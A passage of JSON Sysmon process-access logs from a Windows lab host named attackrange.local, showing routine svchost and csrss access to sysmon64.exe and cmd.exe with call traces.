11:50:01.203","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-3FE5-5F2D-0000-00100EC10200}","TargetProcessId":"3688","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:50:02","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2045,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:01.203\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:01.203","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:02","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2046,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:01.203\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:01.203","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:02","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2047,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:01.203\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:01.203","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:02","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2048,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:01.203\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:01.203","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:02","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2049,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:01.203\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:01.203","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:02","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2050,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:01.203\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:01.203","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:02","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2051,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:01.203\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:01.203","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:02","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2052,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:01.203\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:01.203","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\W